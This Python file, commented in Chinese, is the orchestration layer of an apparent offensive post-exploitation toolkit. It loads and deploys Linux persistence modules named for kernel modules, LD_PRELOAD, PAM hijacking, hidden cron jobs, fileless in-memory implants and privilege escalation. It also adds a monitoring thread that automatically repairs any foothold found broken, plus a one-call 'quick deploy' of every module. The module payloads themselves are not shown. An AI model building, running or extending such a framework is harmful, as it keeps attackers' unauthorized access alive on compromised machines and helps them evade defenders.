#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
模块化权限维持管理器
集成所有权限维持子模块，提供统一的管理接口
"""

import os
import sys
import importlib
import threading
import time
from typing import Dict, List, Optional, Any
from datetime import datetime

# 添加项目根目录到路径
project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
sys.path.insert(0, project_root)

from core.utils import color_green, color_red, color_yellow, color_blue
from modules.persistence.base import BasePersistenceModule, PersistenceStatus, PersistenceLevel


class ModularPersistenceManager:
    """模块化权限维持管理器"""
    
    def __init__(self):
        self.modules = {}  # 已加载的模块
        self.instances = {}  # 活跃的实例
        self.monitoring = False
        self.monitor_thread = None
        self.health_check_interval = 300  # 5分钟检查一次
        
        # 自动发现并加载模块
        self.discover_modules()
    
    def discover_modules(self):
        """自动发现并加载权限维持模块"""
        color_blue("正在发现权限维持模块...")
        
        # 模块目录
        modules_dir = os.path.join(os.path.dirname(__file__))
        
        # 已知的子模块
        known_modules = ['systemd', 'pam', 'cron_hide', 'lkm', 'ld_preload', 'fileless_memory', 'privilege_escalation', 'systemd_advanced', 'pam_hijack']
        
        for module_name in known_modules:
            module_path = os.path.join(modules_dir, module_name)
            if os.path.isdir(module_path) and os.path.exists(os.path.join(module_path, '__init__.py')):
                try:
                    self.load_module(module_name)
                except Exception as e:
                    color_red(f"加载模块 {module_name} 失败: {e}")
    
    def load_module(self, module_name: str):
        """加载指定的权限维持模块"""
        try:
            # 动态导入模块
            module_path = f"modules.persistence.{module_name}"
            module = importlib.import_module(module_path)
            
            # 检查模块是否可用
            if hasattr(module, 'is_available') and not module.is_available():
                color_yellow(f"模块 {module_name} 在当前环境不可用")
                return False
            
            # 获取模块信息
            if hasattr(module, 'get_module_info'):
                info = module.get_module_info()
                self.modules[module_name] = {
                    'module': module,
                    'info': info,
                    'loaded_at': datetime.now()
                }
                color_green(f"✓ 模块 {module_name} 加载成功: {info.get('description', 'N/A')}")
                return True
            else:
                color_red(f"模块 {module_name} 缺少必要的接口函数")
                return False
                
        except ImportError as e:
            color_red(f"导入模块 {module_name} 失败: {e}")
            return False
        except Exception as e:
            color_red(f"加载模块 {module_name} 时出错: {e}")
            return False
    
    def list_available_modules(self) -> Dict[str, Dict]:
        """列出所有可用的模块"""
        return {name: data['info'] for name, data in self.modules.items()}
    
    def create_instance(self, module_name: str, instance_id: str = None, config: Dict = None) -> Optional[str]:
        """创建模块实例"""
        if module_name not in self.modules:
            color_red(f"模块 {module_name} 未加载")
            return None
        
        try:
            module = self.modules[module_name]['module']
            
            # 生成实例ID
            if not instance_id:
                instance_id = f"{module_name}_{int(time.time())}"
            
            # 创建模块实例
            if hasattr(module, 'create_module'):
                try:
                    # 尝试传递配置参数
                    instance = module.create_module(config or {})
                except TypeError:
                    # 如果函数不接受参数，则不传递参数
                    instance = module.create_module()
                
                self.instances[instance_id] = {
                    'module_name': module_name,
                    'instance': instance,
                    'config': config or {},
                    'created_at': datetime.now(),
                    'status': PersistenceStatus.UNKNOWN,
                    'last_check': None
                }
                
                color_green(f"✓ 创建实例 {instance_id} 成功")
                return instance_id
            else:
                color_red(f"模块 {module_name} 不支持实例创建")
                return None
                
        except Exception as e:
            color_red(f"创建实例失败: {e}")
            return None
    
    def deploy_instance(self, instance_id: str) -> bool:
        """部署指定实例"""
        if instance_id not in self.instances:
            color_red(f"实例 {instance_id} 不存在")
            return False
        
        try:
            instance_data = self.instances[instance_id]
            instance = instance_data['instance']
            
            color_yellow(f"正在部署实例 {instance_id}...")
            
            # 执行部署
            if instance.deploy():
                instance_data['status'] = PersistenceStatus.DEPLOYED
                instance_data['deployed_at'] = datetime.now()
                color_green(f"✓ 实例 {instance_id} 部署成功")
                return True
            else:
                instance_data['status'] = PersistenceStatus.FAILED
                color_red(f"✗ 实例 {instance_id} 部署失败")
                return False
                
        except Exception as e:
            color_red(f"部署实例 {instance_id} 时出错: {e}")
            self.instances[instance_id]['status'] = PersistenceStatus.FAILED
            return False
    
    def check_instance(self, instance_id: str) -> bool:
        """检查实例状态"""
        if instance_id not in self.instances:
            return False
        
        try:
            instance_data = self.instances[instance_id]
            instance = instance_data['instance']
            
            # 执行检查
            is_active = instance.check()
            instance_data['last_check'] = datetime.now()
            
            if is_active:
                instance_data['status'] = PersistenceStatus.ACTIVE
            else:
                instance_data['status'] = PersistenceStatus.INACTIVE
            
            return is_active
            
        except Exception as e:
            color_red(f"检查实例 {instance_id} 时出错: {e}")
            self.instances[instance_id]['status'] = PersistenceStatus.FAILED
            return False
    
    def repair_instance(self, instance_id: str) -> bool:
        """修复实例"""
        if instance_id not in self.instances:
            color_red(f"实例 {instance_id} 不存在")
            return False
        
        try:
            instance_data = self.instances[instance_id]
            instance = instance_data['instance']
            
            color_yellow(f"正在修复实例 {instance_id}...")
            
            # 执行修复
            if instance.repair():
                instance_data['status'] = PersistenceStatus.ACTIVE
                instance_data['repaired_at'] = datetime.now()
                color_green(f"✓ 实例 {instance_id} 修复成功")
                return True
            else:
                color_red(f"✗ 实例 {instance_id} 修复失败")
                return False
                
        except Exception as e:
            color_red(f"修复实例 {instance_id} 时出错: {e}")
            return False
    
    def cleanup_instance(self, instance_id: str) -> bool:
        """清理实例"""
        if instance_id not in self.instances:
            color_red(f"实例 {instance_id} 不存在")
            return False
        
        try:
            instance_data = self.instances[instance_id]
            instance = instance_data['instance']
            
            color_yellow(f"正在清理实例 {instance_id}...")
            
            # 执行清理
            if instance.cleanup():
                instance_data['status'] = PersistenceStatus.REMOVED
                instance_data['cleaned_at'] = datetime.now()
                color_green(f"✓ 实例 {instance_id} 清理成功")
                return True
            else:
                color_red(f"✗ 实例 {instance_id} 清理失败")
                return False
                
        except Exception as e:
            color_red(f"清理实例 {instance_id} 时出错: {e}")
            return False
    
    def remove_instance(self, instance_id: str) -> bool:
        """移除实例（先清理再删除）"""
        if instance_id not in self.instances:
            color_red(f"实例 {instance_id} 不存在")
            return False
        
        # 先尝试清理
        self.cleanup_instance(instance_id)
        
        # 删除实例记录
        del self.instances[instance_id]
        color_green(f"✓ 实例 {instance_id} 已移除")
        return True
    
    def list_instances(self) -> Dict[str, Dict]:
        """列出所有实例"""
        result = {}
        for instance_id, data in self.instances.items():
            result[instance_id] = {
                'module_name': data['module_name'],
                'status': data['status'].value,
                'created_at': data['created_at'].isoformat(),
                'last_check': data['last_check'].isoformat() if data['last_check'] else None
            }
        return result
    
    def get_instance_info(self, instance_id: str) -> Optional[Dict]:
        """获取实例详细信息"""
        if instance_id not in self.instances:
            return None
        
        instance_data = self.instances[instance_id]
        instance = instance_data['instance']
        
        info = {
            'instance_id': instance_id,
            'module_name': instance_data['module_name'],
            'status': instance_data['status'].value,
            'config': instance_data['config'],
            'created_at': instance_data['created_at'].isoformat(),
            'last_check': instance_data['last_check'].isoformat() if instance_data['last_check'] else None
        }
        
        # 获取模块特定信息
        if hasattr(instance, 'get_info'):
            info['module_info'] = instance.get_info()
        
        return info
    
    def start_monitoring(self):
        """启动健康监控"""
        if self.monitoring:
            color_yellow("监控已在运行")
            return
        
        self.monitoring = True
        self.monitor_thread = threading.Thread(target=self._monitor_loop, daemon=True)
        self.monitor_thread.start()
        color_green("✓ 健康监控已启动")
    
    def stop_monitoring(self):
        """停止健康监控"""
        self.monitoring = False
        if self.monitor_thread:
            self.monitor_thread.join(timeout=5)
        color_yellow("健康监控已停止")
    
    def _monitor_loop(self):
        """监控循环"""
        while self.monitoring:
            try:
                self.check_all_instances()
                time.sleep(self.health_check_interval)
            except Exception as e:
                color_red(f"监控循环出错: {e}")
                time.sleep(60)  # 出错时等待1分钟再继续
    
    def check_all_instances(self) -> Dict[str, bool]:
        """检查所有实例的健康状态"""
        results = {}
        
        for instance_id in list(self.instances.keys()):
            try:
                is_healthy = self.check_instance(instance_id)
                results[instance_id] = is_healthy
                
                # 如果实例不健康，尝试修复
                if not is_healthy:
                    color_yellow(f"实例 {instance_id} 状态异常，尝试修复...")
                    self.repair_instance(instance_id)
                    
            except Exception as e:
                color_red(f"检查实例 {instance_id} 时出错: {e}")
                results[instance_id] = False
        
        return results
    
    def deploy_comprehensive_persistence(self, config: Dict = None) -> Dict[str, str]:
        """部署全面的权限维持机制"""
        color_blue("开始部署全面权限维持机制...")
        
        deployed_instances = {}
        default_config = config or {}
        
        # 为每个可用模块创建并部署实例
        for module_name in self.modules.keys():
            try:
                # 创建实例
                instance_id = self.create_instance(module_name, config=default_config)
                if instance_id:
                    # 部署实例
                    if self.deploy_instance(instance_id):
                        deployed_instances[module_name] = instance_id
                    else:
                        # 部署失败，移除实例
                        self.remove_instance(instance_id)
                        
            except Exception as e:
                color_red(f"部署模块 {module_name} 时出错: {e}")
        
        # 启动监控
        if deployed_instances:
            self.start_monitoring()
            color_green(f"✓ 全面权限维持部署完成，共部署 {len(deployed_instances)} 个模块")
        else:
            color_red("全面权限维持部署失败，没有成功部署任何模块")
        
        return deployed_instances
    
    def cleanup_all_instances(self) -> bool:
        """清理所有实例"""
        color_blue("开始清理所有权限维持实例...")
        
        # 停止监控
        self.stop_monitoring()
        
        success_count = 0
        total_count = len(self.instances)
        
        for instance_id in list(self.instances.keys()):
            if self.cleanup_instance(instance_id):
                success_count += 1
        
        color_blue(f"清理完成: {success_count}/{total_count} 个实例成功清理")
        return success_count == total_count
    
    def get_status_summary(self) -> Dict:
        """获取状态摘要"""
        summary = {
            'modules_loaded': len(self.modules),
            'instances_total': len(self.instances),
            'instances_active': 0,
            'instances_inactive': 0,
            'instances_failed': 0,
            'monitoring_enabled': self.monitoring,
            'last_updated': datetime.now().isoformat()
        }
        
        # 统计实例状态
        for instance_data in self.instances.values():
            status = instance_data['status']
            if status == PersistenceStatus.ACTIVE:
                summary['instances_active'] += 1
            elif status == PersistenceStatus.INACTIVE:
                summary['instances_inactive'] += 1
            elif status == PersistenceStatus.FAILED:
                summary['instances_failed'] += 1
        
        return summary


# 便捷函数
def create_manager() -> ModularPersistenceManager:
    """创建模块化权限维持管理器"""
    return ModularPersistenceManager()


def quick_deploy(config: Dict = None) -> ModularPersistenceManager:
    """快速部署全面权限维持"""
    manager = create_manager()
    manager.deploy_comprehensive_persistence(config)
    return manager


if __name__ == "__main__":
    # 测试代码
    manager = create_manager()
    
    print("\n=== 可用模块 ===")
    modules = manager.list_available_modules()
    for name, info in modules.items():
        print(f"- {name}: {info.get('description', 'N/A')}")
    
    print("\n=== 部署测试 ===")
    deployed = manager.deploy_comprehensive_persistence()
    print(f"部署的实例: {deployed}")
    
    print("\n=== 状态摘要 ===")
    summary = manager.get_status_summary()
    for key, value in summary.items():
        print(f"- {key}: {value}")